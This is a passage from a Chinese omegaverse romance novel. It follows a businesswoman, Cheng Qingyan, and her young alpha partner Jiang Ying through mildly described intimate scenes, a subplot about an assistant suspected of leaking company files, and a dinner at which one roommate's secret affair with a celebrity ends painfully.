一边叫她,一边靠近她的唇。 程卿言伸手掐着alpha的脖子,挑眉问道:“你想做什么?” 姜映说:“亲亲你,可以吗?” 程卿言静了几秒,其实也有点感觉,勾着女生的脖子:“你快点……” 不要慢悠悠的,早上有个重要的会议要开,她不能缺席。 姜映闻言,眉眼含笑地嗯了一声,在女人耳边说:“不用担心,姐姐你本来很快。” 程卿言愣住,震惊,启唇欲骂,但alpha没给她骂人的机会,已经吻住她了。 …… 两分钟后。 程卿言闭上眼睛,躺在床上缓了几息。 姜映笑着叫她:“姐姐。” 程卿言脸颊绯红,不想理她,好像是挺快的。 姜映又耐心问:“你还要睡会儿吗?” 睡什么睡,程卿言睁开眼,瞧着女生这张单纯青涩,很有欺骗性的脸,她深呼一口气坐起来,狠狠剜了她一眼。 姜映颤睫,瞧着她生这么大气,体贴道:“刚才让你不舒服了?” 她虽然想重些深些,但她担心女人会累,一直在努力克制自己,没有乱来,难不成她没克制住,只是她没意识到。 程卿言呵了一声,似笑非笑说了一句:“挺好的。” 话音落下,没再理这个说她快的坏家伙,去浴室洗澡了。 换好衣服,去了客厅,女生已经做好了早餐。 程卿言在她脸上亲了一下:“辛苦了。” 姜映摇头:“不辛苦。” 她很喜欢为她做饭,比做实验有趣多了。 程卿言一直知道女生精力很好,但这也太好了,而且又年轻,等她身体彻底好起来了,精力体力都恢复了正常,若是alpha不收敛着,她可能也吃不消。 静思片刻,她决定日后得将锻炼安排进她的日程中。 到了公司,程卿言向余简予提了此事,让余简予给她推荐靠谱的健身教练。 余简予:??? “你没事吧,你说你要锻炼?” 程卿言:“不可以吗?” 不是不可以,当然可以,但是程卿言这不爱动的性子,突然提出要锻炼,她能不惊讶吗,她都无法想象程卿言跑得大汗淋漓的模样。 余简予将教练的微信名片发给她:“这个教练挺不错的,我前两年上过她的课,你之后可以试试看,试试她的训练理念适不适合你,不适合再换。” 程卿言点头:“谢了。” 去会议室的路上,余简予还是不死心,一直问她为什么突然想锻炼了。 程卿言不说,她不想丢人,早上她就丢了一次人了,虽然在姜映眼中,她那是可爱的表现,姜映对此很喜欢,但是她还是要脸的,她有点接受不了自己那么快。 像什么话。 进入会议,余简予才正经起来,没再问这事,把注意力放在了工作上。 拆迁解决后,科技园项目也步入正轨,到了年末,其它项目也在收尾中,各部门的负责人认真地做着汇报,并且讨论了程氏今年要不要办年会。 最终的讨论结果是今年不举行,前段时间公司的员工太累了,与其搞年会,不如直接放假,并且将举办年会需要用到的资金,拿来给员工发福利。 大家对此没有任何异议,心情很好地离开了会议室。 程卿言回了办公室,何助进来汇报工作完工作后,她问道:“你母亲好点了吗?” 何助说:“还是老样子。” 程卿言翻开文件看了看:“还住在医院?” 何助点头:“对的。” “如果有任何困难,一定得告诉我,拖到我也帮不上忙时候,就为时已晚了,”程卿言将文件关上,抬眸看向她,静了片刻道,“国际上精神科的顶尖专家,我找一找关系,还是能有联系上,如果你母亲需要的话,我可以帮忙。” 何助愣了几秒:“谢谢程总,如果有需要的话,我会开口的。” 程卿言嗯了一声,给她一份文件:“你下班之后给苏总送过去。” 何助应好,离开了办公室。 程卿言双手环胸,暗沉的眸光中带了几分探究,片刻后摇头叹了一口气。 傍晚下班那会儿,程卿言和余简予一起坐电梯下楼。 余简予问:“你让何助去送文件了?” 程卿言点头:“让她去了。” “你就不怕她……”余简予话音制止,思忖片刻后,明白对方是故意让何助去送文件的。 是在暗示,也是给何助最后一次主动坦白的机会。 主动找她们坦白,说明上次泄露稻村机密文件的缘由,和她们主动采取行动,是两个完全不同的概念。 何助跟着程卿言快十年了,性格虽然冷淡,外号人机,但对待工作认真负责,能力很强,作为助理,也多次保护过程卿言生命安全。 她们也想不通何助这么做到底是为了什么。 可是调查结果明明白白地摆在那里,上次发到程深绩邮箱里的匿名文件就是从何助母亲的病房发出来的。 那天晚上,何助正好也在医院陪着她母亲。 发邮件的地址用技术隐藏了,余简予也是请专业人士费了一番功夫才破解。 前段时间她们偶然提到了何助的面试录像,点醒了余简予,事后它让人事调出了何助的面试资料,瞧见何助大学时期辅修的是计算机,要隐藏地址自然不是难事。 奇怪的是何助这些年见过的商业斗争那么多,经验已经很丰富了,不是刚进入社会的小白,怎么会有如此低级的泄密方式,太不符合何助严谨的做事风格了。 最重要的是何助这样做根本得不到任何好处,平时也和程深继没有往来,泄密的动机是什么? 不为钱不为利,为了什么? 和程氏有仇? 如果有仇,何必等到现在,何必在前些年多次保护程卿言的安危。 而且她们调查过何助的背景,单亲家庭,omega母亲没有婚史,患有精神疾病,何助一直和omega母亲生活在一起,家庭背景很干净,和程氏没有任何牵扯。 余简予问:“如果她一直不主动坦白呢,你打算怎么做?” 程卿言脚步顿了顿,淡淡道:“那就公事公办。” 商业泄密,已经触犯了法律,全权交给法律裁决。 看在这几年的情分上,她会给她机会,但机会只有一次,她的耐心不多。 余简予点点头,认同她的做法,想了想又道:“苏敛懿要是知道了这事,她会不会给何助求情?” 程卿言肯定道:“不会。” 她和苏敛懿的性格虽然不同,但在本质上属于同一种人,如果苏敛懿只是对何助感兴趣,那就绝对不会干涉这种事情,集团利益和可有可无的一段情感,孰轻孰重一目了然。 余简予对苏敛懿不是很了解,不过能成为一家企业的掌权者,自然也不容易感情用事:“你等到什么时候?” 程卿言:“十天之内。” 今日周五,也就是下周天之前。 余简予叹了口气,谁能想到会出这事,如果是跟了她好几年,一直尽心尽责的助理突然做了对不起她的事,她肯定会很难受。 不想再提这个事了,以程卿言心情不好,到了停车场,余简予坐上驾驶座:“那我先回去了,明晚见。” 程卿言挑了挑眉:“记得给姜映准备见面礼。” 余简予切了一声,这人真是的,她和姜映又不是第一次见面,怎么还让她带礼物:“知道了知道了。” 待她离开后,程卿言才上车,秦助理开车送她回月泊林。 明晚姜映会带上室友和她的朋友见见面,大家一起正式吃顿饭,这件事在之前就商量过了,其实也不着急,恰好明天大家都有空,就约在了明天。 程卿言垂眸瞧了眼手机屏幕,点开和何助的微信界面,好助理难寻,适合自己的好助理更难寻。 可惜了。 几息后还是发了条消息过去:【文件送到了吗?】 指腹轻轻摩挲着手机边沿,等着何助给她发消息。 回复她想收到的消息。 * 酒吧吵嚷,何助闻着浓烈的酒味,在吧台找到了苏敛懿。 “苏总。” 苏敛懿坐在椅子上,双腿交叠,挑眉看着她:“来了。” 何助嗯了一声,拿出文件递给她:“程总让我拿给您的。” 苏敛懿朝着一旁守着的保镖扬了扬下巴,保镖上前,拿走了文件。 东西送到了,何助礼貌道别,转身离开。 苏敛懿快速抓住她的手腕。 何助很讨厌和别人发生肢体接触,本能地抗拒,眉心皱了皱:“苏总还有什么吩咐吗?” 苏敛懿指腹轻轻抚了抚她的手腕:“你心情不好?” 何助顿了顿,没想到她会说这个,苏敛懿又道:“要坐下喝几杯吗,你陪我。” 不是“我陪你”,而是“你陪我”。 或许是周围的环境太过嘈杂,或许是苏敛懿看向她的眸光让她紧绷的神经有了一瞬间的松懈,或许是她离开这里也不知道去哪,她静了几秒,选择了坐下。 沉默安静,没有说话,一直在喝酒。 她酒量好,即使喝了很多,最后也只是感觉头有一点点晕,她的意识是清醒的,她并没有醉。 在苏敛懿送她去了酒店,苏敛懿的吻落在她身上时她也是清醒的,她并没有拒绝,她迎了上去。 何助是beta,后颈没有腺体,身后的oemga在掌控她时,却咬住她的后颈,一遍又一遍,仿佛想将她标记一般。 “出声,别闷着,我想听。” 女人在她耳边说。 她当做没听见,依旧紧咬着唇不吭一声,oemga轻笑一声,但是除了笑声缓慢外,其余的一切都变快了。 忽明忽暗,起起伏伏,何助在这时意识才开始涣散,她的灵魂在一次次涣散中离开了她的身体,漂浮在床边,冷静地看着如同潮水般蔓延的她。 “我是谁?”苏敛懿手腕往前送。 何助闷哼一声,浑身一颤,还是不说话。 “苏敛懿,记得吗,记住我的名字,别忘记了。” 苏敛懿。 苏敛懿。 即使她想忘掉,她也忘不掉,因为对方在说这话时,如同要将名字刻进她骨子里,一遍又一遍地重复,一笔一划换着方式重复,直到女人出去了,她的灵魂才重新回到她身体里。 苏敛懿抱着她,在她耳边柔柔道:“好好睡会儿。” 温柔的语气,温暖的怀抱,好陌生的体验,何助眼睫颤了颤,瞬间溢出了几滴泪。 她闭上眼睛,在心里倒数了六十秒,六十秒后她推开苏敛懿,下了床,沉默地捡起地上散落的衣服。 “你不休息会儿吗?”苏敛懿瞧着对方身上大大小小的疤痕,很快,这些疤痕又就被皱巴巴的衣服遮住了,她跟着起身,拉住她的手,“你要走?” 何助穿好衣服,眼尾是红的,语气却是冷淡:“嗯,我要走。” 苏敛懿皱了皱眉,瞧着她在渗血的嘴唇:“那你刚才为什么愿意……” 何助打断:“苏总,我和你都是成年人,都喝了酒,不用放在心上。” 苏敛懿说:“如果我想放在心上呢?” 何助波澜不惊:“苏总您身边不缺女人,如果您每一个都想放在心上,那您会很忙。” 苏敛懿松开她,静了看了她几秒,开口道:“行,你走吧。” 何助点头,走之前道:“房费我会转您一半,您记得收下。” 话音落下,房门关上。 苏敛懿垂眸看了眼地上乱糟糟的纸巾,冷冷地笑了一声,下了床就换一副脸面,还真是硬骨头,和多年前她第一次见她那会儿一个样。 她不是在去年明总的生日宴上认识何助的,十多年前她就见过何助了,当时她刚上大学,苏家也没从邻省举家搬来碚城。 那日傍晚,天还没黑,她心血来潮去学校附近的老巷子逛了一圈,正好瞧见了好几个中学生在巷子里霸凌同学。 她出手相助,救了被霸凌的女生,本来打算报警处理,但女生阻止她了,让她不要多管闲事,冷冰冰说了一声谢谢,带着一身伤就走了。 过了这么多年,她早就忘记这件事,也忘记了女生的长相,直到去年在明总的生日宴上,她遇见了何助,何助的眼神和当年那个女生的眼神完全一样,她记得这双苍凉寂静的眼睛,因此她才记起她了。 如若不然,她不可能莫名其妙对何助感兴趣。 苏敛懿让服务员送了瓶红酒上来,倒了半杯,神色回味地看着床上的凌乱,轻轻抿了几口红酒。 口感不错,她喜欢。 就是太硬了。 既然不想和她纠缠,她也做不出死缠烂打的事,到此为止,就这样吧。 * 手机响了一声,程卿言拿起来看了看。 何助:【程总,文件已经送到苏总那里了】 等了几个小时,只回复了这一句话,没有其它的了,程卿言息屏,将手机丢在沙发上,轻轻呼了一口气。 以何助的智商,她敢肯定她懂她的暗示,知晓她在给她最后的机会,既然如此,为什么还是不说? 姜映见她有点不开心,关心道:“出什么事了?” 程卿言呼口气,头枕在女生腿上,玩着女生的手,简单地给她说了何助的事情。 姜映和秦助理相处的比较多,关系也不错,但同何助的接触就比较少了,一点也不了解。 听了女人的话后,她在心里认真分析,忖度片刻,猜测道:“她会不会在破罐子破摔,已经放弃自己了,知道你在给她机会,但是不想要这个机会了,只想接受惩罚。” 程卿言眉心一凝,坐了起来,看着女生的脸。 姜映眨眼:“怎么了,我是不是说错了?” 程卿言摇头,朝着她笑了一下:“宝宝你怎么这么聪明。” 夸了女生后,她拿起手机,垂眸给余简予发消息,恰好没瞧见alpha眼眸中的不断翻涌的爱意。 宝宝…… 姜映滚了滚喉咙,心口发痒,女人第一次这样叫她。 她感觉她有点热,宝宝,她受不了程卿言这样叫她。 姜映眼眸炽热地看着女人,等着她处理工作,她还想听,想女人用断断续续的喘息声叫她宝宝。《 》 80-85 第81章 表白 表白 第八十一章 程卿言这会儿比较忙,发消息说不清楚,片刻后她直接给余简予打了电话,说了她有疑惑的地方。 程卿言和余简予同何助认识的时间太长,自以为对何助比较了解,但是当局者迷旁观者清,反而会忽略一些细节,不如姜映客观。 电话打了半个多小时,姜映也从“宝宝”给她带来的躁动中冷静下来了,端起杯子喝了几口温水,又去院子陪三只宠物玩了一会儿,再回屋找了一本专业书认真地看了起来,看了十几页,女人终于挂断了电话。 姜映放下书问道:“你忙完了吗?” “差不多了,”程卿言在她脸上亲了一下,“无聊了?” 姜映如实说:“有点。” 程卿言笑了一声,她可是记得她和女生刚认识那会儿,女生随时随地都能学习,并且学得津津有味,怎么可能说出“无聊”这种话。 这才过了多久啊,就变成这这样了,看来她的吸引力比知识的吸引力大。 女人是坐在她身旁打的电话,因此姜映也听见了一些她们的谈话内容,有一件事她一直挺好奇的,开口问道:“为什么大家称呼秦助理是秦助理,称呼何助理就是何助?” “秦助理叫秦挚,你知道吧?”程卿言说。 姜映点头:“知道。” 程卿言:“那你知道何助叫什么吗?” 姜映摇头,她和何助不熟。 程卿言说:“她的名字就叫何助,姓何名助。” 恰好又是她的助理,所以大家就叫她何助了,既是职位又是名字。 原来如此,是她想复杂了,姜映笑了一下,抱着女人的腰,欠身过去吻了吻女人的唇。 程卿言双手勾着她的脖子,双唇微张,加深了这个吻。 alpha的吻慢慢下沿,在她的脖子上徘徊,她胸腔起伏,呼了口气,推了推将她压在沙发上这人。 姜映深呼吸,眸光颤动,女人在她耳边,哑着声音说:“咬一咬腺体。” 咬腺体? 姜映愣了几秒,瞬间清醒很多,女人已经很久没让她咬腺体了,怎么突然提这事。 这段时间她没吃强化剂了,她发现她吃不吃都没事,她的身体没有任何变化。 “嗯?”程卿言咬了一下她的下巴,“你发什么愣?” 姜映回神,询问道:“很想吗?” 女人嗯了一声,姜映呼口气:“你等我一会儿。” 程卿言:??? 她瞧着女生快速起身,小跑去了一趟书房,不到三十秒又跑了回来,重新抱着她。 本想问问女生去书房做什么了,但在她张唇时,女生便急切地吻住了她的唇。 很快她就沉溺在alpha的吻中,片刻后她闻到了熟悉的青竹香,热情浓郁,弥漫在屋内。 程卿言已经吃了一个周的特效药,腺体在慢慢恢复了,已经在渴望alpha的信息素。 在青竹香覆上她后颈那瞬,浑身一颤,久违的樱桃味溢出,攀附在竹子上,和青竹味缠绕在一起。 “姐姐……” alpha叫了她一声,在她耳边说躺着看不见腺体,她得趴着才行。 程卿言有点难受地呼了口气,翻身躺着。 女生从身后抱住她,后颈一热,温热的吻落在了后颈上,下一瞬alpha的标记牙咬了下去,信息素注入。 青竹味太过浓郁,如同久旱逢甘霖。 还没完全恢复的腺体根本受不住,猛得颤动起来。 程卿言仿佛陷入了一片空白中,愉悦又难受,红了眼尾,断断续续地出声让alpha停下。 alpha很听话,标记牙离开了她的后颈,柔软的唇轻轻吻了吻泛红的腺体,尚为平息,眉心一颤。 随之而来的是另一片空白迎接她。 “姜…姜映……” “我在,姐姐你能感受到我在吗?” 听得见alpha的声音,闻得见alpha的青竹香,alpha好似要将所有的一切都献给她,坦诚直白,毫无保留,程卿言接纳着女生辛勤的付出。 在alpha手腕上的红绳颜色彻底变深了,她才从空白中走出来。 休息片刻,片刻的时间很短,可能不到一分钟。 alpha将她抱起来,面对面抱在了怀里,关心道:“还好吗?” 程卿言坐着,下巴搁在她肩膀上,阖着眼休息,下意识嗯了一声。 日后回想这事,她觉得问题就出在她这声回应上,让女生误以为她还想,于是又来了。 八点半到十点,断断续续,客厅到卧室的距离并不远,平静一分钟之内就能走到,今夜她却走了一个半小时。 客厅的灯熄,卧室的灯亮起,浴室的灯亮起,浴室灯又熄灭,最后只剩下一盏暖黄的夜灯亮着。 十一点那会儿。 已经休息了二十多分钟,程卿言缓了过来,在alpha收拾好浴室,回到床上正要抱她那会儿,她一脚将alpha踹下床。 地砖上铺了厚厚的地毯,掉下去也不会疼。 姜映坐在地上愣了几秒,眨了眨眼,茫然地爬起来看着女人,问道:“怎么了?” 程卿言嗔了她一眼:“你觉得呢?” 姜映朝着她乖乖笑了笑,亲了亲她的脸:“姐姐最好了。” 程卿言无语地笑了一声。 这坏家伙装什么乖,方才一次次哄着她的时候怎么不乖一点,坏东西还让她叫她宝宝,她叫了之后才答应停下,搞得她都有点怕她了,正经道:“上来能好好睡觉吗?” 姜映点头:“能。” 程卿言:“保证?” 姜映:“保证。” 她有分寸,不会不顾女人的想法乱来,刚才不听话是因为她能感觉到女人能受得了,女人踢她的那一脚也证实了她的想法,踢得有点疼,说明体力还行。 在她再三保证下,女人同意她上床睡觉了。 姜映抱着程卿言,闻着她的体香,轻轻笑了一声。 程卿言指尖戳了戳她脸,闭着眼睛道:“别想其它的,睡觉。” 姜映应了声好,不过她不是因为做了愉悦的事而开心,她是因为感受到女人的精力明显好起来了,她才那么开心。 是因为特效药发挥了作用,女人的信息素紊乱就快好了吗? 她觉得是这个原因。 夏云升从腺体科朋友那里得到了有关特效药服用的详细资料,又将这些资料转发给她了,里面还有很多篇论文,不管看不看得懂,姜映全部都认真地看了好几遍。 因此她大概也清楚服药者每个阶段会恢复成什么样。 程卿言在康复中。 她能感觉到。 怀里的人已经睡着了,呼吸均匀,一切都在朝着好的方向发展,她的存在没有影响到女人,姜映扬了扬唇,安心地闭上了眼睛。 * 次日周六。 气温较低,阴雨天。 吃饭时间约在了傍晚六点,已经定好了餐厅。 程卿言和姜映都不是爱睡懒觉的人,早上七点过就醒了,但是一直没起床,卧室门紧紧关着。 柚柚带着拉面丸子已经来门口巡逻几次了,能听见里面有响动声,但是不见主人们出来。 将近十点那会儿,卧室门才打开。 主人们一前一后走了出来。 拉面丸子打招呼:呜呜呜呜呜呜呜 柚柚瞧见人安全出来了,也喵了一声,便自己去玩了,它和傻狗狗不一样,它比较独立。 姜映回应它们后,走到女人身旁,问道:“你中午想吃什么,我去做。” 程卿言道:“别做了,休息会儿吧,我让人送餐。” 姜映:“我不累,不用休息。” 真是比不了精力旺盛的年轻alpha,程卿言的腰这会儿还酸着,捏了捏女生的脸:“那你随便做两碗面,晚上我们再去吃好吃的。” 姜映应好,在女人脸上亲了一下,挽起袖子去了厨房。 程卿言看着她的背影,轻轻笑了笑,片刻后拿了一张她很喜欢的黑胶唱片,放了起来。 坐在躺椅上,听着音乐,放松地休息着。 眸光落在了左手边的沙发上,昨夜的记忆浮现,眉梢轻轻挑了挑,抬手揉了揉后颈处的腺体。 腺体还没彻底恢复,之前又处于萎缩状态,昨夜姜映的信息素注入得太多,搞得她太难受了,只是咬了一次她就那样了。 注入信息素时女生的手也不安分,缓解着她别的地方的难受。 程卿言是舒服的,灵魂在颤动,但那一瞬间也有点担心,担心alpha没控制住,将她深层标记了。 她并没有做好被深层标记的准备,内心暂时也不太接受深层标记。 好在女生和之前一样,只是在外面安抚,并没有进入。 她的担心是多余的。 有点佩服女生的忍耐力,程卿言笑了一声,买了一箱指|套回来,前几日因为生理期,就一直放在柜子里,没人去打开,到现在还一个都没用。 哎。 这玩意保质期是多久,会不会过期,她的钱虽然多,但也不是大风刮来的,该节约的还是得节约,不能浪费。 半小时后,姜映端了两碗清汤牛肉面出来,还炒了两份蔬菜。 程卿言起身走过去,细细尝了尝,点评道:“好吃,手艺不错。” 女生和她的口味比较相似,都偏清淡,手艺又好,做出来的饭菜很合她的胃口,怎么会有如此和她心意的人,如同为她量身打造一般。 闻言,姜映眉眼弯弯,她喜欢给女人做吃的,正好女人也喜欢吃她做的饭,每次都会夸她。 午饭过后,一起去院子里散步,空地已经种上了竹子,程卿言细细瞧了几眼,忽然笑了一声。 姜映侧眸:“嗯?” 程卿言:“没什么。” 只是想到了之前女生给她挑选alpha的事,她那会儿因为这事发脾气了,这才让人将院子里的竹子砍掉了,这块地才空了出来。 现在姜映又在这里重新种上竹子,倒也不错。 程卿言名下的房产很多,月泊林是她最喜欢的一套,一般都是住在这里,室内面积虽然不大,只有两百多平,但是前后院子很大,环境很好,很适合养宠物。 姜映看着比她高一点点的柚子树,又看了看四处巡逻的柚柚,和女人闲聊道:“我去年就是在小区里的柚子树下发现柚柚的,它那会儿才巴掌大。” 柚柚是长毛橘猫,体格偏大,不到一岁,已经有十斤了,从远处看,容易被认成小狗。 程卿言扬了扬唇,伸手保住alpha的腰,脸颊蹭了蹭她的脖子,懒懒道:“我有点困了。” 姜映:“回屋睡会儿?” 程卿言点了点下巴:“你不困吗?” “我不困,”姜映吻了吻女人的额头,“我想陪你睡会儿。” 程卿言轻笑,黏人的小姑娘,不过她很享受对方黏着她。 回屋后,抱在一起亲了一会儿,女生给她换了睡衣,她才闭眼进入了梦乡。 在床上躺了两个小时,三点出头起床,晚饭定在了六点,但姜映不和程卿言一起出门,她得先去和林溪周青月会去,带着她们去吃饭的餐厅。 换好衣服,抱了抱女人,她就出门了。 姜映额头上的疤痕没有彻底恢复,还有一条很淡的痕迹,不想她们担心,她还是戴了顶毛线帽,脖子上的围巾是女人亲手给她搭配的。 体质好,她很少穿得这么保暖,走起路来微微出了汗。 寝室三人在一家奶茶店会合,放假后没有聚在一起碰过面,周青月性格外向,话茬打开就关不上,一直说个不停。 周青月说:“我还说过年那段时间约你们去我家聚一聚,没想到提前见面了。” 路过一家礼品店,她道:“空手去吃饭是不是不太好,得买点礼物才行。” 林溪点头,赞同她的提议:“进去看了看。” 姜映劝说道:“不用了,只是吃顿饭。” 周青月和林溪不听她的,进了礼品店,二十多分钟后走了出来,各自手上提了几个小袋子。 不只是给姜映的那位姐姐挑了礼物,还给那位姐姐的朋友也挑了礼物,价格不贵,重在心意。 她们觉得姜映会害羞,心里虽然很好奇,但是没问一直没主动问那位姐姐的事,这些天一直忍着,终于能见面了。 周青月心里很激动,比她和网友见面的时候还要激动。 买好礼物,打车去餐厅的路上,她问道:“我脱妆没?” 姜映点头,如实说:“有一点。” 周青月:“那我要不要补个妆啊,还有一点时间,去店里做个发型也来得及。” 放假之后,她一直待在家里吃喝玩乐,没有正经出过门,也没认真打理过自己,她母亲大人都看不下去,好几次叫她一起去会所做保养,她通通拒绝了。 林溪道:“不用了吧,你这样也挺好看的。” 周青月:“真的吗,我这段时间胖了好几斤了。” “没看出来。”姜映道。 周青月哈哈哈笑了几声,看不出来就好,既然看着还有个人样,那她就放心了。 再者,这顿饭的主角是姜映和那位姐姐,不是她见网友或者偶像,朴素点也没事。 “溪溪你这段时间是不是瘦了,脸看起来都小了一圈了。”她忽然道。 林溪颤了颤眼睫,道:“我没称过,没瘦吧。” 周青月点点头:“那可能是我这段时间没见到了,觉得你瘦了。” 林溪确实瘦了,姜映也看出来了,想到了前不久去酒吧接林溪那晚,林溪喝多了之后哭了很久,一直啜泣着说“为什么不喜欢她”。 应该是因为这事,因为心里的那个人,才瘦了怎么多。 姜映有些担忧地看了她一眼,林溪感觉到她的目光,侧眸和她对视上,笑着朝着她摇摇头,让她不用担心。 姜映点头,在心口轻轻叹了一声气,她不知道林溪在为谁伤心,对方不愿意说这件事,因此她帮不上忙。 手机响了一声,姜映回神,拿出来看了看。 程卿言发的消息:【快到了吗?】 姜映嘴角扬了扬,回复:【快了,大概还有五分钟,你们到了?】 程卿言:【都到了,要我下来接你吗?】 天气寒冷,风又大,姜映想了想:【不用了,姐姐你在包间等我们就可以了】 程卿言:【那行吧】 五分钟过得很快,到了目的地,车停在了路边,姜映将手机息屏,带着林溪和周青月一起朝着餐厅的方向走过去。 月影秋风? 周青月瞧见餐厅名字时愣了两秒,问道:“我们是在这里吃饭?” 姜映点头:“对,怎么了?” 周青月摇头:“没事,走吧。” 嘴上说着没事,心里却很不平静。 周青月家里是经营连锁酒店的,家庭条件还不错,她知道月影秋风是碚城一家有名的高档餐厅,会员制,私密性很好,能进这里吃饭的人,身份都不普通。 她家的资产根本达不到月影秋风的入会资格,从前没来这里吃过饭。 姜映喜欢的那位姐姐到底是什么人啊? 不会是大佬级别的人物吧。 进去后,姜映拿出了程卿言给她的会员卡,工作人员核实过后,带着她们去了包间门口。 她推开门那瞬,倒吸了一口凉气,痛得她差点叫出来。 她左边的周青月紧紧抓住了她的左胳膊,右边的林溪同时抓住了她的右胳膊,姜映一脸困惑左右看了看,瞧着她们的脸上的神色都不太对,问道:“怎么了?” 周青月难以置信,怀疑道:“里面坐着那位,穿黑衣服那位,是云秋染吗,我是不是在做梦,你快掐我一下。” 姜映知道她是云秋染的事业粉,但她没追过星,不能理解追星人看见偶像的心情,点头:“你没做梦,就是云秋染。” 周青月瞳孔放大,傻傻愣在原定。 姜映又看向林溪,林溪松开紧咬着的唇,开口问问:“云秋染是…是你那位姐姐吗……” 啊? “她不是。”姜映解释,见她的脸色有些苍白,关心道,“是不是身体不舒服?” 林溪紧绷的肩膀一松,摇头:“我没事。” 见她们傻傻地站在门口不进来,程卿言起身,走过去接她们,微笑着做了自我介绍。 程卿言? 姜映心上人是程卿言? 周青月再一次傻了一会儿,林溪比她镇定,回应了几句话,指尖悄悄戳了戳的周青月背,周青月快速回神:“你好,我,我是林溪的室友,我是姜映,不是,我是姜映的室友,我叫周青月。” 程卿言扬唇,笑了一声:“快进来吧。” 姜映一手拉一个,拉着她们进去,安慰道:“你们别紧张,就是正常吃顿饭。” 正常吃顿饭? 这哪是正常吃饭,周青月后悔了,她来之前应该开口问一问。 她见她偶像了,可是太突然了,她一点心理准备都没有,头发也没打理,还脱了妆…… 呜呜呜呜呜这幅样子见到云秋染,还要和云秋染一起吃饭,她想逃跑。 但是不行,不能给姜映丢人。 深呼一口气,颤颤巍巍走过去,互相做了介绍,然后开始送礼物,将礼物交给程卿言和余简予时,她已经比较镇定了。 给云秋染时,手抖成了筛子,浑身哆嗦,话都说不清楚,左脚和右脚打结,差点自己把自己绊倒了,云秋染伸手扶着她:“小心。” 云秋染碰到她的手了?! 周青月整张脸爆红,快哭出来了:“谢,谢谢云老师。” 云秋染朝着她笑了笑:“不客气,你是姜映的朋友,可以叫我的名字。” 周青月拨浪鼓摇头,她可不敢,偶像是拿来仰望的,不可靠近也。 她太过激动,脸上的温度降不下来,一直是红的,林溪和她的状态完全相反,将礼物递给云秋染时,脸色苍白,但眼尾微微泛了红。 云秋染神色地说了声谢谢。 礼貌,但是态度疏远。 林溪心口有些疼,摇头:“不客气。” 入座,服务员开始上菜,在场六人中,除了余简予和周青月热情话多,其余四位都属于话少那一类。 但是因为有云秋染在,周青月一直平静不下来,既激动又害羞,根本不敢说话,埋头吃着眼前那盘凉菜。 而余简予呢,昨夜在家喝多了酒,嗓子哑哑的不太舒服,也不能多说话。 程卿言倒是在说话,毕竟是她请客,但是姜映的朋友好像有点怕她,她越热情,她们就约拘谨。 她有这么吓人吗? 程卿言委屈地看了眼姜映。 姜映垂落在座下的手牵着女人的指尖,以示安抚。 在大家都不怎么说话的情况下,平时话最少的姜映主动承担起这个责任,成了说话最多的人。 姜映并不怯场,只是不爱说话,除了在程卿言面前总是害羞,在别人面前她向来淡然冷静,找话题,换话题。 既要照顾自己的朋友,又得招呼程卿言的朋友,还得时不时悄悄哄一哄心上人,有点忙,饭都没吃几口。 这顿饭吃得还算融洽,慢慢的周青月也放松了很多,能正常说话了。 中途云秋染起身:“你们聊,我去趟洗手间。” 一直安静的林溪说话了,道:“我也想去一趟,我和云老师一起吧。” 云秋染安静一秒,看了她一眼,也没说什么,点头。 周青月看着林溪的背影,心里很是佩服,太厉害了,不仅敢主动和云秋染说话,还敢一起去洗手间。 她就没有这种胆子,云秋染看她一眼,她都会紧张。 不过也不能说她没出息,她喜欢云秋染,林溪又不喜欢,肯定比她淡定。 周青月想错了,林溪其实一点也不淡定。 这一层楼只接待她们一桌客人,因此洗手间里没有别人,只有一前一后进去的云秋染和林溪。 无人说话,流水哗啦啦响着,片刻后流水声停下,四周恢复了寂静,云秋染用纸巾擦手上的水珠,没理会过站在旁边一直看着她的林溪,擦干手,她转身离开。 林溪拉住她,红着眼看着她。 云秋染挣扎几下,挣扎不开,回头看着她:“松开。” 视线交错,无声对视着。 林溪眼睫颤动,泪水顺着脸颊,一颗一颗无声地滑落下去,摇头,不愿意松手。 僵持片刻,云秋染叹了口气,抬手给她擦了擦泪水:“别哭了,坚强一点,未来还长,你会忘掉我的……” 林溪的眼泪越来越多,根本止不住,手腕用力将对方往前一拉,紧紧地抱着了她,哽咽道:“忘不掉,忘不掉你,我喜欢你。” 云秋染双手垂落,没有回应也没有挣扎,听着她的哭声,冷静道:“我们最初说好了不谈感情,我告诉过你,我不会爱上任何人,你也答应了,你怎么可以喜欢我呢?” 她们之间不存在包养,一直是你情我愿的床伴关系,对方却突然喜欢她了,那这段关系就得终止了。 “对不起,我不是故意的,我克制过,可是我忍不住……”林溪哀求道,“我以后不说我喜欢你了,你可以不可以当做不知道,可不可以理理我。” “可是我已经知道了。” “求你了姐姐。” “林溪你冷静点,我和你已经结束了,没有任何的可能,我不可能喜欢你。” “一点点也没有吗,”林溪脑海里浮现出她们相处时,她对她的温柔和关心,这些温柔关心让她控制不住自己,一点点沉溺进去, “如果你一点也不喜欢我,为什么要对我这么好,姐姐你是喜欢我的对不对,一点点也可以,一点就……” “林溪,”云秋染打断,深呼一口气道,“我对你好,只是因为你长的很像我心里的人,只是因为你的长相,不是因为喜欢,听明白了吗?” 她长得很像她心里的人…… 只是因为长相? 林溪愣住,眼眶通红。 云秋染推开她,从她怀抱里出来:“所以别再喜欢我了。” 林溪再一次保住她,带着哭腔有些急切道:“那,那既然你喜欢我脸,我长的很像你喜欢的人,我愿意当替身,你可以帮我当成她,我愿意的,我愿意……” “你疯…嗯……” 云秋染话音中断,林溪流着泪直接吻住了她,她推不开,咬她的唇,咬出了血迹,林溪依旧吻着,不愿意松开。 挑开牙关,像是她们之间的最后一吻,像是在告别,苦涩和血腥味在唇齿间不断蔓延。 …… 已经过去十分钟了,去洗手间的两位怎么还没回来。 月影秋风虽然安全,但云秋染的身份比较特殊,经常会遇见了狂热的粉丝,被堵住了? 程卿言有点担心,正欲起身出去看看。 包间的门推开了,云秋染走了进来,抱歉道:“久等了。” 云秋染的情绪收敛得很好,但在她坐下那瞬,程卿言瞧见她手腕上泛着红,琢磨几秒,她问道:“林溪呢,她还在洗手间?” 云秋染道:“她有点急事,先走了,让我给你们带句话。” 姜映这会儿也收到了林溪发来的微信消息,和云秋染说的差不多,林溪有急事要处理先离开了。 姜映回复:【好的,你路上注意安全,到家里给我发消息】 林溪:【我知道了,不好意思啊,我提前走了】 姜映:【没事的,你的正事重要些,有需要我帮忙的地方吗?】 林溪:【不用了,我自己能处理好】 聊了几句后,姜映放下了手机,快八点了,也吃得差不多了,可以散场了。 